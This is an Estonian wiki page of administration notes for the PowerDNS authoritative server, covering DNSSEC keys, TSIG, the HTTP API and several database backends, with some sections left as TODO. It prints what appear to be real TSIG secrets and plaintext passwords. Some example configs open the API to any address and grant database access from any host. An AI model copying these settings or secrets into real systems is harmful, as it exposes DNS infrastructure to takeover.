[[Pilt:Pdns-3.gif]]&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* võtme silt - (antud juhul 53461), selle saab teada päringu väjundist&lt;br /&gt;
&lt;br /&gt;
 $ dig @ns.auul.pri.ee moraal.ee dnskey rrsig | grep DNSKEY&lt;br /&gt;
 moraal.ee.              10800   IN      RRSIG   DNSKEY 8 2 10800 20161208000000 20161117000000 53461 moraal.ee. rVy+HAzSKkTRv6...&lt;br /&gt;
&lt;br /&gt;
* võtme tüüp - KSK&lt;br /&gt;
* algoritm - 8 (RSA-SHA256)&lt;br /&gt;
* avalik võti,  selle saab teada päringu väljundist, alates Aw kuni tU= (võib sisaldada tühikuid nagu päringu vastuses on)&lt;br /&gt;
&lt;br /&gt;
 $ dig @ns.auul.pri.ee moraal.ee dnskey | grep 257&lt;br /&gt;
 moraal.ee. 3600 IN DNSKEY 257 3 8 AwEAAcnmmnnOlkRfK9NDYEI6F ... SD6 TQcnQstT+tU=&lt;br /&gt;
&lt;br /&gt;
Vajutada all nuppu Kinnita, muudatus kehtestub peaaegu koheselt (ehk minutite jooksul), aga kasutajaliideses öeldakse&lt;br /&gt;
&lt;br /&gt;
 DNSSEC kaitse domeenil MORAAL.EE&lt;br /&gt;
 Hetkestaatus: DNSSEC on aktiveerimata&lt;br /&gt;
 Eesootavad muutused: DNSSEC aktiveeritakse&lt;br /&gt;
&lt;br /&gt;
Teha brauseris refresh ja peab olema domeenide nimekirjas DNSSEC tulbas + asemel kilbi kujutis. Edasi läheb nn 15 minutit kuni muudatus zone.ee juurest eestiinternet.ee juurde jõuab ning kehtestub ee. tld (top level domain) nimeserverites. Kontrolliks maksab küsida tld nimeserverilt ds kirjet&lt;br /&gt;
&lt;br /&gt;
 $ dig +short @ns.tld.ee moraal.ee ds&lt;br /&gt;
 30607 8 2 EAC8A17DD2128573F08EE76C18B4AB01734467CD4A376768F5358B0C A2B9463F&lt;br /&gt;
&lt;br /&gt;
====zone.ee keskkonnas - .org tsoonis====&lt;br /&gt;
&lt;br /&gt;
[[Pilt:Pdns-6.gif]]&lt;br /&gt;
&lt;br /&gt;
====GoDaddy keskkonnas====&lt;br /&gt;
&lt;br /&gt;
TODO&lt;br /&gt;
&lt;br /&gt;
===DNSSEC võtmete asendamine===&lt;br /&gt;
&lt;br /&gt;
====ZSK====&lt;br /&gt;
&lt;br /&gt;
====KSK====&lt;br /&gt;
&lt;br /&gt;
KSK moodi võtme lisamiseks sobib öelda, selliselt võib tsooniga siduda ka enam kui kaks võtit&lt;br /&gt;
&lt;br /&gt;
 # pdnsutil add-zone-key moraal.ee ksk 2048 active rsasha256&lt;br /&gt;
&lt;br /&gt;
Tsooniga seotud võtmed paistavad käsu väljundis&lt;br /&gt;
&lt;br /&gt;
 # pdnsutil show-zone moraal.ee&lt;br /&gt;
&lt;br /&gt;
Tulemusena paistab dnsviz keskkonnas selline pilt&lt;br /&gt;
&lt;br /&gt;
 TODO&lt;br /&gt;
&lt;br /&gt;
Tsooniga seotud võtme eemaldamiseks sobib öelda, kus ID on show-zone väljundist välja valitud võtme ID väärtus&lt;br /&gt;
&lt;br /&gt;
 # pdnsutil remove-zone-key moraal.ee ID&lt;br /&gt;
&lt;br /&gt;
====Kasulikud lisamaterjalid====&lt;br /&gt;
&lt;br /&gt;
* https://doc.powerdns.com/md/authoritative/howtos/#zsk-rollover&lt;br /&gt;
&lt;br /&gt;
===Mitmesugused haldusprotseduurid===&lt;br /&gt;
&lt;br /&gt;
====tsooni backend muutmine====&lt;br /&gt;
&lt;br /&gt;
TODO&lt;br /&gt;
&lt;br /&gt;
====tsooni toomine PowerDNS kontrolli alla====&lt;br /&gt;
&lt;br /&gt;
Tsooni migreerimiseks suvalisest AXFR-võimelisest nimeserverist sobib&lt;br /&gt;
&lt;br /&gt;
* kirjeldada PowerDNS peal slave&lt;br /&gt;
&lt;br /&gt;
 # pdnsutil create-slave-zone moraal.ee 10.0.6.15&lt;br /&gt;
 Feb 21 22:09:52 [bindbackend] Done parsing domains, 0 rejected, 0 new, 0 removed&lt;br /&gt;
 Creating slave zone 'moraal.ee', with master(s) '10.0.6.15:53'&lt;br /&gt;
&lt;br /&gt;
* kopeerida andmed axfr abil üle, kopeerimist kiirendab&lt;br /&gt;
&lt;br /&gt;
 # pdns_control retrieve moraal.ee&lt;br /&gt;
&lt;br /&gt;
* muuta PowerDNS tsooni jaoks masteriks, öeldes&lt;br /&gt;
&lt;br /&gt;
 SQL&amp;gt; UPDATE domains set type='MASTER' where type='SLAVE';&lt;br /&gt;
&lt;br /&gt;
Kui allikaks on nt BIND ning tsoonifailis on kasutatud generate konstruktsiooni, siis need lahenduvad automaatselt ära&lt;br /&gt;
&lt;br /&gt;
 $GENERATE 1-255 $ IN CNAME $.1-255.40.184.10.in-addr.arpa.&lt;br /&gt;
&lt;br /&gt;
Kasulikud lisamaterjalid&lt;br /&gt;
&lt;br /&gt;
* https://doc.powerdns.com/md/authoritative/migration/&lt;br /&gt;
&lt;br /&gt;
====dnssec tsooni toomine PowerDNS kontrolli alla====&lt;br /&gt;
&lt;br /&gt;
Analoogiliselt eelmisele punktile, aga&lt;br /&gt;
&lt;br /&gt;
* esmalt lülitada dnssec välja, kustutades DS kirje parent tsoonist ja oodates vähemalt DS kirje TTL aja enne järgmise punkti juurde asumist; seejärel on tsooni sisu endine st vanade võtmetega signeeritud andmestik&lt;br /&gt;
* tegevused eelmises punktis + uute võtmetega krüptimine&lt;br /&gt;
* asuda kasutama uute võtmetega krüptitud tsooni sisu, ja oodata nt 6 tundi&lt;br /&gt;
* juurutada parent tsoonis uus DS kirje&lt;br /&gt;
&lt;br /&gt;
====dnssec tsooni toomine PowerDNS kontrolli alla OpenDNSSEC keskkonnast koos vana KSK krüptomaterjaliga====&lt;br /&gt;
&lt;br /&gt;
Eeldusel, et OpenDNSSEC kasutab SoftHSM backendi saab KSK krüptomaterjalid eksportida ja taaskasutada. Ettevalmistuseks tuleb kõnealune tsoon muus osas tavalisel viisil kasutusele võtta. SoftHSM pealt krüptomaterjali eksportimiseks tuleb esmalt teha kindlaks kolm väärust&lt;br /&gt;
&lt;br /&gt;
* SoftHSM label ja pin vaadata nt /etc/opendnssec/conf.xml failist&lt;br /&gt;
* kõnealuse tsooni ksk võtme id, vaadata KSK active realt tulp 'CKA_ID'&lt;br /&gt;
&lt;br /&gt;
 # ods-ksmutil key list -v&lt;br /&gt;
&lt;br /&gt;
sobib öelda&lt;br /&gt;
&lt;br /&gt;
 # softhsm --export moraal.ee-ksk.pem --slot 0 --label &amp;quot;vaartus&amp;quot; --pin vaartus --id vaartus&lt;br /&gt;
 The key pair has been written to moraal.ee-ksk.pem&lt;br /&gt;
&lt;br /&gt;
teisendada nn BIND kujule&lt;br /&gt;
&lt;br /&gt;
 # softhsm-keyconv --tobind --in ksk.pem --name moraal.ee --ksk --algorithm RSASHA256&lt;br /&gt;
 The private key has been written to Kmoraal.ee+008+09122.private&lt;br /&gt;
 The public key has been written to Kmoraal.ee+008+09122.key&lt;br /&gt;
&lt;br /&gt;
ning võtta kasutusele PowerDNS juures&lt;br /&gt;
&lt;br /&gt;
 # pdnsutil import-zone-key moraal.ee Kksk+008+53675.private active ksk&lt;br /&gt;
&lt;br /&gt;
Edasi seadistatakse DNSSEC analoogliselt nagu seada ikka PowerDNS puhul seadistatakse. Kusjuures 'pdnsutil import-zone-key ...' tulemus on sarnane nagu oleks öeldud&lt;br /&gt;
&lt;br /&gt;
 # pdnsutil add-zone-key moraal.ee ksk 2048 active rsasha256&lt;br /&gt;
&lt;br /&gt;
Kasulikud lisamaterjalid&lt;br /&gt;
&lt;br /&gt;
* http://www.molnar-peter.hu/en/&lt;br /&gt;
&lt;br /&gt;
====pdns-control utiliidi kasutamine====&lt;br /&gt;
&lt;br /&gt;
PowerDNS kus on master tsoon saadab notify oma slavedele (nagu on tsoonifaili NS kirjetes kirjas)&lt;br /&gt;
&lt;br /&gt;
 # pdns_control notify &amp;lt;domain&amp;gt;&lt;br /&gt;
&lt;br /&gt;
või näidatud ip aadressile&lt;br /&gt;
&lt;br /&gt;
 # pdns_control notify-host &amp;lt;domain&amp;gt; &amp;lt;ip-address&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===TSIG kasutamine===&lt;br /&gt;
&lt;br /&gt;
Nimeserverite vahelise tsooniedastuse juures TSIG juurutamiseks tuleb esmalt tekitada võti&lt;br /&gt;
&lt;br /&gt;
 # pdnsutil generate-tsig-key from_dns_to_itm hmac-sha256&lt;br /&gt;
 Generating new key with 64 bytes (this can take a while)&lt;br /&gt;
 Nov 26 13:10:37 [bindbackend] Done parsing domains, 0 rejected, 0 new, 0 removed&lt;br /&gt;
 Create new TSIG key from_dns_to_itm hmac-sha256 WLuS4o6CX35+yGerdHpl2h3+PDKt76rgam9rqkRg8N+fTP6cGtC6H17rDidKl7FzEu0fukg3apxnZUxdDRDhkQ==&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* TODO&lt;br /&gt;
&lt;br /&gt;
ning seejärel võti ühe või enama tsooniedastusega seostada&lt;br /&gt;
&lt;br /&gt;
 # pdnsutil activate-tsig-key moraal.ee from_dns_to_itm master&lt;br /&gt;
&lt;br /&gt;
Tulemus paistab nii&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# pdnsutil show-zone moraal.ee&lt;br /&gt;
Nov 26 14:09:44 [bindbackend] Done parsing domains, 0 rejected, 0 new, 0 removed&lt;br /&gt;
This is a Master zone&lt;br /&gt;
Last SOA serial number we notified: 2016112602 == 2016112602 (serial in the database)&lt;br /&gt;
Zone is not actively secured&lt;br /&gt;
Zone has following allowed TSIG key(s): from_dns_to_itm&lt;br /&gt;
Metadata items: &lt;br /&gt;
        SOA-EDIT-API    DEFAULT&lt;br /&gt;
        TSIG-ALLOW-AXFR from_dns_to_itm&lt;br /&gt;
No keys for zone 'moraal.ee'.&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
kontrolliks sobib kopeerida öeldes&lt;br /&gt;
&lt;br /&gt;
 $ dig @192.168.1.248 moraal.ee axfr -y &amp;quot;hmac-sha256:from_dns_to_itm:WLuS4o6CX35+yGerdHpl2h3+PDKt76rgam9rqkRg8N+fTP6cGtC6H17rDidKl7FzEu0fukg3apxnZUxdDRDhkQ==&amp;quot;&lt;br /&gt;
&lt;br /&gt;
kusjuures vastuses on üks preudokirje lisaks&lt;br /&gt;
&lt;br /&gt;
 ..&lt;br /&gt;
 from_dns_to_itm.        0       ANY     TSIG    hmac-sha256. 1480164029 300 32 t96WhnpNiAiL5KHXa8UzNthM6/p3ciQptF3Br2ZfhFk= 3538 NOERROR 0&lt;br /&gt;
 ...&lt;br /&gt;
&lt;br /&gt;
Väited&lt;br /&gt;
&lt;br /&gt;
* Sama TSIG võtit saab kasutada mitme tsooni jaoks ja nii on mugavam nt NSD patternit kasutada&lt;br /&gt;
* tundub, et tsooni jaoks TSIG juurutamisega kaasneb, et tsooni kopeerimise ip piirang enam ei kehti (lubatud ip pealt pöördudes ei ole võtme esitamine vajalik)&lt;br /&gt;
* kui tsooni juures on tsig sisse lülitatud, siis see mõjub nii notify kui xfr jaoks&lt;br /&gt;
* TSIG pseudokirjete arv suureneb vastavalt tsooni mahu suurenemisele, https://tools.ietf.org/html/rfc2845 'The TSIG MUST be included on the first and last DNS envelopes.  It can be optionally placed on any intermediary envelopes. It is expensive to include it on every envelopes, but it MUST be placed on at least every 100'th envelope.'&lt;br /&gt;
&lt;br /&gt;
Alternatiiv on kasutada -y asemel -k suvandit ja argumendiks failinime, faili sisuga&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
key &amp;quot;from_yks_to_teine&amp;quot; {&lt;br /&gt;
algorithm HMAC-SHA256;&lt;br /&gt;
secret &amp;quot;YY8xvlL6yGjrt1G4xlfLBaidQOFdvixHgRXN6tXUPMitEKZUs7kl7qixJ0nSN1bbDJQxaFGkoKkBamNS7EPXbw==&amp;quot;;&lt;br /&gt;
};&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===API kasutamine===&lt;br /&gt;
&lt;br /&gt;
Üle API muudatuse tegemiseks peab eelnevalt PowerDNS serveris lülitama API sisse ning sisemise webserver käivitama&lt;br /&gt;
&lt;br /&gt;
 # cat /etc/powerdns/pdns.conf&lt;br /&gt;
 ..&lt;br /&gt;
 api=yes&lt;br /&gt;
 api-key=apiparool&lt;br /&gt;
 webserver=yes&lt;br /&gt;
 webserver-address=192.168.1.248&lt;br /&gt;
 webserver-allow-from=0.0.0.0/0,::/0,192.168.10.0/24&lt;br /&gt;
 ...&lt;br /&gt;
&lt;br /&gt;
ja kasutama nt sellist skripti (töökohaarvutis on seejuures abil kasutada nt jq utiliiti)&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# cat pdns-api.sh&lt;br /&gt;
curl -X PATCH --data \&lt;br /&gt;
'{&amp;quot;rrsets&amp;quot;: &lt;br /&gt;
  [{ &amp;quot;name&amp;quot;: &amp;quot;www.moraal.ee.&amp;quot;,&lt;br /&gt;
      &amp;quot;records&amp;quot;: [{ &amp;quot;content&amp;quot;: &amp;quot;192.168.254.5&amp;quot;, &amp;quot;disabled&amp;quot;: false }],&lt;br /&gt;
      &amp;quot;ttl&amp;quot;: 86000,&lt;br /&gt;
      &amp;quot;type&amp;quot;: &amp;quot;A&amp;quot;,&lt;br /&gt;
      &amp;quot;changetype&amp;quot;: &amp;quot;REPLACE&amp;quot;&lt;br /&gt;
  }]&lt;br /&gt;
}' -H 'X-API-Key: midagisalajast123' http://192.168.1.248:8081/api/v1/servers/localhost/zones/moraal.ee. | jq .&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* TODO&lt;br /&gt;
&lt;br /&gt;
kas käivitamiseks öelda&lt;br /&gt;
&lt;br /&gt;
 $ sh pdns-api.sh&lt;br /&gt;
&lt;br /&gt;
API'ga tutvumiseks võib olla hea mõte kuulata pealt mingi olemasoleva API-rakenduse ja serveri vahelist liiklust ja siis seda Wireshark abil uurida.&lt;br /&gt;
&lt;br /&gt;
Kasulikud lisamaterjalid&lt;br /&gt;
&lt;br /&gt;
* https://doc.powerdns.com/md/httpapi/README/ - tundub, et süntaks pole seal kõigis näidetes päris korrektne&lt;br /&gt;
&lt;br /&gt;
===PowerDNS kasutusstatistika===&lt;br /&gt;
&lt;br /&gt;
PowerDNS sisaldab sisemist veebiserverit, mille käest saab küsida teenuse kasutusstatistikat, TODO.&lt;br /&gt;
&lt;br /&gt;
===Logimine===&lt;br /&gt;
&lt;br /&gt;
Tundub, et vaikimisi logitakse syslog'i.&lt;br /&gt;
&lt;br /&gt;
===Varundamine ja taaste===&lt;br /&gt;
&lt;br /&gt;
TODO&lt;br /&gt;
&lt;br /&gt;
===Misc===&lt;br /&gt;
&lt;br /&gt;
====Paigaldamine operatsioonisüsteemi paketihaldusest====&lt;br /&gt;
&lt;br /&gt;
Paigaldamiseks sobib öelda, tuleb paigalda üldosa + mingi backend, nt BIND-ühilduvate tsoonifailide käsitlemise komponent (st failisüsteem)&lt;br /&gt;
&lt;br /&gt;
 # apt-get install pdns-server pdns-backend-bind&lt;br /&gt;
&lt;br /&gt;
Tulemusena tekib failisüsteemi&lt;br /&gt;
&lt;br /&gt;
* /etc/powerdns/pdns.conf - peamine seadistusfail&lt;br /&gt;
&lt;br /&gt;
====MySQL backend kasutamine====&lt;br /&gt;
&lt;br /&gt;
Teoreetliselt võib sodida tsooni sisu muutmiseks üldotstarbelise sql editoriga (nt PgAdmin) ka otse baasis, aga praktilisem on kasutada ehk pdnsutil või api't kasutava tarkvara abil, nt nsedit veebiliides.&lt;br /&gt;
&lt;br /&gt;
====pdns-backend-mysql paigaldamine ja seadistamine====&lt;br /&gt;
&lt;br /&gt;
Eeldusel, et MySQL baas juba töötab samas arvutis, sobib paigaldamiseks sobib öelda (seejuures kasutades db-config sistemat, mis paigaldamise käigus tekitab create database baasi, kasutaja, sätib privileegid jne)&lt;br /&gt;
&lt;br /&gt;
 # apt-get install pdns-backend-mysql&lt;br /&gt;
 ..&lt;br /&gt;
 Determining localhost credentials from /etc/mysql/debian.cnf: succeeded.&lt;br /&gt;
 dbconfig-common: writing config to /etc/dbconfig-common/pdns-backend-mysql.conf&lt;br /&gt;
 &lt;br /&gt;
 Creating config file /etc/dbconfig-common/pdns-backend-mysql.conf with new version&lt;br /&gt;
 &lt;br /&gt;
 Creating config file /etc/powerdns/pdns.d/pdns.local.gmysql.conf with new version&lt;br /&gt;
 checking privileges on database pdns for pdns@localhost: user creation needed.&lt;br /&gt;
 granting access to database pdns for pdns@localhost: success.&lt;br /&gt;
 verifying access for pdns@localhost: success.&lt;br /&gt;
 creating database pdns: success.&lt;br /&gt;
 verifying database pdns exists: success.&lt;br /&gt;
 populating database via sql...  done.&lt;br /&gt;
 dbconfig-common: flushing administrative password&lt;br /&gt;
 Processing triggers for libc-bin (2.24-3) ...&lt;br /&gt;
 Processing triggers for pdns-server (4.0.1-5) ...&lt;br /&gt;
&lt;br /&gt;
Tulemusena&lt;br /&gt;
&lt;br /&gt;
* tekitatakse MySQL kasutaja pdns&lt;br /&gt;
* tekitatakse MySQL create database pdns&lt;br /&gt;
&lt;br /&gt;
====BIND backend kasutamine====&lt;br /&gt;
&lt;br /&gt;
Tundub, et otsekoheselt failisüsteemis tsoonifaili redigeerimise teel on mõeldav töötada ainult BIND-formaadis backendiga. Muudega tuleks kasutada pdnsutil utiliiti või API liidest. Tsoonide nimekiri kirjeldatakse failis&lt;br /&gt;
&lt;br /&gt;
 # cat /etc/powerdns/named.conf&lt;br /&gt;
 # Debian default: supermaster created zones are written here:&lt;br /&gt;
 include &amp;quot;/var/lib/powerdns/supermaster.conf&amp;quot;;&lt;br /&gt;
 # Example for a manually configured slave zone:&lt;br /&gt;
 #&lt;br /&gt;
 zone &amp;quot;example.net&amp;quot; {&lt;br /&gt;
    file &amp;quot;/var/lib/powerdns/zones.slave.d/example.net.zone&amp;quot;;&lt;br /&gt;
    type master;&lt;br /&gt;
    masters { 192.0.2.53; };&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
Tsoon kirjeldatakse failis&lt;br /&gt;
&lt;br /&gt;
 # cat /var/lib/powerdns/zones.slave.d/example.net.zone&lt;br /&gt;
 $TTL 180&lt;br /&gt;
 @           IN    SOA     ns1.example.net.      hostmaster.example.net. (&lt;br /&gt;
                        2014080705      ; Serial Number (date YYYYMMDD++)&lt;br /&gt;
                        86400           ; Refresh (24 hours)&lt;br /&gt;
                        1800            ; Retry (1/2 hour)&lt;br /&gt;
                        3600000         ; Expire (42 days)&lt;br /&gt;
                        21600)          ; Minimum (6 hours)&lt;br /&gt;
                        IN      NS      ns1.example.net.&lt;br /&gt;
                        IN      NS      ns2.example.net.&lt;br /&gt;
 &lt;br /&gt;
 @           IN    A       192.168.0.15&lt;br /&gt;
             IN    MX   10 mail.example.net.&lt;br /&gt;
 www         IN    A       192.168.0.15&lt;br /&gt;
 mail        IN    A       192.168.0.2&lt;br /&gt;
 ns1         IN    A       10.1.1.171&lt;br /&gt;
 ns2         IN    A       10.1.1.172&lt;br /&gt;
 imre        IN    A       10.1.1.173&lt;br /&gt;
&lt;br /&gt;
Muudatuse kehtestamiseks&lt;br /&gt;
&lt;br /&gt;
 # pdns_control bind-reload-now example.net&lt;br /&gt;
 example.net:    parsed into memory at 2016-10-26 20:43:14 +0300&lt;br /&gt;
&lt;br /&gt;
====PostgreSQL backend kasutamine====&lt;br /&gt;
&lt;br /&gt;
Teoreetliselt võib sodida tsooni sisu muutmiseks üldotstarbelise sql editoriga (nt PgAdmin) ka otse baasis, aga praktilisem on kasutada ehk pdnsutil või api't kasutava tarkvara abil, nt nsedit veebiliides.&lt;br /&gt;
&lt;br /&gt;
====BIND backend kasutamine====&lt;br /&gt;
&lt;br /&gt;
pdns-backend-bind seadistatakse failist&lt;br /&gt;
&lt;br /&gt;
 # egrep -v &amp;quot;^$|^#&amp;quot; /etc/powerdns/pdns.d/bind.conf &lt;br /&gt;
 launch+=bind&lt;br /&gt;
 bind-config=/etc/powerdns/named.conf&lt;br /&gt;
 bind-supermaster-config=/var/lib/powerdns/supermaster.conf&lt;br /&gt;
 bind-supermaster-destdir=/var/lib/powerdns/zones.slave.d&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* /etc/powerdns/named.conf - tsoonide nimekiri&lt;br /&gt;
* /var/lib/powerdns/supermaster.conf - lihtsal juhul tühi&lt;br /&gt;
* /var/lib/powerdns/zones.slave.d - BIND formaadis tsoonifailide kataloog&lt;br /&gt;
&lt;br /&gt;
Tsoonide haldamisega tegeleb edasi allpool olev punkt.&lt;br /&gt;
&lt;br /&gt;
====Poweradmin====&lt;br /&gt;
&lt;br /&gt;
Märkus: tõenäoliselt ei ole Poweradmin tarvkara kasutamine hea mõte kuna rakendus sodib otse PowerDNS andmebaasis ja 2016 aasta sügisel on hakanud tekkima paremaid alternatiive, nt nsedit.&lt;br /&gt;
&lt;br /&gt;
Poweradmin kasutamiseks peab PowerDNS kasutama SQL andmebaasi ja Poweradmin peab töötama vastu sama andmebaasi. Tundub, et Poweradmin töötab paremini MySQL + PHP5 keskkonnas. Kui Poweradmin PHP rakendus töötab teises arvutis kui MySQL baas, sobib baasis öelda&lt;br /&gt;
&lt;br /&gt;
 mysql&amp;gt; grant all privileges on pdns.* to 'pdns'@'%' identified by 'dbconfig sisestatud parool';&lt;br /&gt;
 mysql&amp;gt; grant all privileges on pdns.* to 'pdns'@'localhost' identified by 'dbconfig sisestatud parool';&lt;br /&gt;
 mysql&amp;gt; flush privileges;&lt;br /&gt;
&lt;br /&gt;
 # pdns_control retrieve moraal.ee&lt;br /&gt;
 Added retrieval request for 'moraal.ee.' from master 192.168.1.247&lt;br /&gt;
&lt;br /&gt;
Kasulikud lisamaterjalid&lt;br /&gt;
&lt;br /&gt;
* https://www.digitalocean.com/community/tutorials/how-to-install-and-configure-powerdns-with-a-mariadb-backend-on-ubuntu-14-04&lt;br /&gt;
&lt;br /&gt;
====Tsooni andmestikust otsing====&lt;br /&gt;
&lt;br /&gt;
* Kõigi forward tsoonide sisust ip aadressi kasutamise leidmine&lt;br /&gt;
&lt;br /&gt;
 # for i in `pdns_control list-zones | grep -v All | grep -v in-addr`; do pdnsutil list-zone $i 2&amp;gt;&amp;amp;1 ; done | grep 10.20.123.154&lt;br /&gt;
 ftp.moraal.ee	300	IN	A	10.20.123.154&lt;br /&gt;
&lt;br /&gt;
===2024 aasta kevade tähelepanekud===&lt;br /&gt;
&lt;br /&gt;
Eesmärk&lt;br /&gt;
&lt;br /&gt;
* ühe operatsioonisüteemi peal kompaktselt lahenduse pidamine - Debian v. 12&lt;br /&gt;
* dns server - PowerDNS&lt;br /&gt;
* webgui haldusliides - PowerDNS-Admin (PDA)&lt;br /&gt;
* dnssec võimekus&lt;br /&gt;
* docker abil kasutatakse konteinerit (PDA)&lt;br /&gt;
* andmeid hoitakse PostgreSQL andmebaasis&lt;br /&gt;
&lt;br /&gt;
====Tööpõhimõte====&lt;br /&gt;
&lt;br /&gt;
Väited&lt;br /&gt;
&lt;br /&gt;
* dnssec kasutab algoritmi nr 13&lt;br /&gt;
* NSEC3 kasutab '1 0 0 -' seadistust&lt;br /&gt;
* sekundaarsete nimeserveritega suhtlemine toimub catalog-zones abil&lt;br /&gt;
* kasutatakse KSK/ZSK ja CSK lähenemist võtmete pidamisel&lt;br /&gt;
&lt;br /&gt;
Protseduuride võimekus&lt;br /&gt;
&lt;br /&gt;
* NSEC, NSEC3 ja NSEC3 param väärtuste muutmine&lt;br /&gt;
* võtme vahetus&lt;br /&gt;
* krüptimise algoritmi vahetus&lt;br /&gt;
&lt;br /&gt;
====Platvormi ettevalmistamine====&lt;br /&gt;
&lt;br /&gt;
Platvorm koosneb&lt;br /&gt;
&lt;br /&gt;
* Debian v. 12 operatsioonisüsteem&lt;br /&gt;
* Docker Community Edition&lt;br /&gt;
* PostgreSQL v. 12&lt;br /&gt;
* NginX&lt;br /&gt;
&lt;br /&gt;
PostgreSQL&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@pdns:/tmp# apt-get install postgresql-common&lt;br /&gt;
root@pdns:/tmp# mkdir /etc/postgresql-common/createcluster.d&lt;br /&gt;
root@pdns:/tmp# echo &amp;quot;initdb_options = '--data-checksums'&amp;quot; &amp;gt; /etc/postgresql-common/createcluster.d/moraal.conf&lt;br /&gt;
root@pdns:/tmp# echo &amp;quot;create_main_cluster = false&amp;quot; &amp;gt;&amp;gt; /etc/postgresql-common/createcluster.d/moraal.conf&lt;br /&gt;
root@pdns:/tmp# apt-get install postgresql-16&lt;br /&gt;
root@pdns:/tmp# pg_createcluster --locale en_US.UTF-8 16 pgcluster_pdns_prod&lt;br /&gt;
 &lt;br /&gt;
postgres=# \x&lt;br /&gt;
Expanded display is on.&lt;br /&gt;
postgres=# \l postgres&lt;br /&gt;
List of databases&lt;br /&gt;
-[ RECORD 1 ]-----+------------&lt;br /&gt;
Name              | postgres&lt;br /&gt;
Owner             | postgres&lt;br /&gt;
Encoding          | UTF8&lt;br /&gt;
Locale Provider   | libc&lt;br /&gt;
Collate           | en_US.UTF-8&lt;br /&gt;
Ctype             | en_US.UTF-8&lt;br /&gt;
ICU Locale        | &lt;br /&gt;
ICU Rules         | &lt;br /&gt;
Access privileges | &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
PowerDNS kasutaja ja create database baasi tekitamiseks sobib öelda&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# su - postgres&lt;br /&gt;
$ psql&lt;br /&gt;
sql&amp;gt; create role pdns login;&lt;br /&gt;
sql&amp;gt; \password pdns&lt;br /&gt;
sql&amp;gt; create database db_pdns owner = pdns;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
PowerDNS-Admin kasutaja ja create database baasi tekitamiseks sobib öelda&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# su - postgres&lt;br /&gt;
$ psql&lt;br /&gt;
sql&amp;gt; create role pda login;&lt;br /&gt;
sql&amp;gt; \password pda&lt;br /&gt;
sql&amp;gt; create database db_pda owner = pda;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
====PowerDNS paigaldamine====&lt;br /&gt;
&lt;br /&gt;
PowerDNS ise ja tema tööks otseselt vajalikud komponendid (nt PostgreSQL andmebaas) töötavad nö tavalisel viisil operatsioonisüsteemi protsesside-teenustena st mitte-konteineritena.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# apt-get install pdns-server pdns-backend-pgsql pdns-tools&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Tulemusena käivitatakse pdns server ja tema bind backend.&lt;br /&gt;
&lt;br /&gt;
TODO&lt;br /&gt;
&lt;br /&gt;
PostgreSQL backend kasutamine&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# psql -h 127.0.0.1 -U pdns pdns &amp;lt; /usr/share/doc/pdns-backend-pgsql/schema.pgsql.sql&lt;br /&gt;
Password for user pdns: &lt;br /&gt;
CREATE TABLE&lt;br /&gt;
CREATE INDEX&lt;br /&gt;
CREATE INDEX&lt;br /&gt;
CREATE TABLE&lt;br /&gt;
CREATE INDEX&lt;br /&gt;
...&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Baasi ligipääs jms kirjeldatakse failis, https://doc.powerdns.com/authoritative/backends/generic-postgresql.html#&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@pdns:~# egrep -v &amp;quot;^#|^$&amp;quot; /etc/powerdns/pdns.d/gpgsql.conf&lt;br /&gt;
launch+=gpgsql&lt;br /&gt;
gpgsql-dbname=db_pdns&lt;br /&gt;
gpgsql-dnssec=yes&lt;br /&gt;
gpgsql-host=127.0.0.1&lt;br /&gt;
gpgsql-password=parool&lt;br /&gt;
gpgsql-port=5432&lt;br /&gt;
gpgsql-user=pdns&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
bind eemaldamiseks sobib kustutada fail&lt;br /&gt;
&lt;br /&gt;
 # rm /etc/powerdns/pdns.d/bind.conf&lt;br /&gt;
&lt;br /&gt;
Tulemusena töötab pdns server, gpgsql backendiga&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
2024-06-16T16:44:00.877817+03:00 pdns systemd[1]: Starting pdns.service - PowerDNS Authoritative Server...&lt;br /&gt;
2024-06-16T16:44:00.906026+03:00 pdns pdns_server[3916]: Loading '/usr/lib/x86_64-linux-gnu/pdns/libgpgsqlbackend.so'&lt;br /&gt;
2024-06-16T16:44:00.906356+03:00 pdns pdns_server[3916]: This is a standalone pdns&lt;br /&gt;
2024-06-16T16:44:00.906408+03:00 pdns pdns_server[3916]: Listening on controlsocket in '/run/pdns/pdns.controlsocket'&lt;br /&gt;
2024-06-16T16:44:00.906668+03:00 pdns pdns_server[3916]: UDP server bound to 0.0.0.0:53&lt;br /&gt;
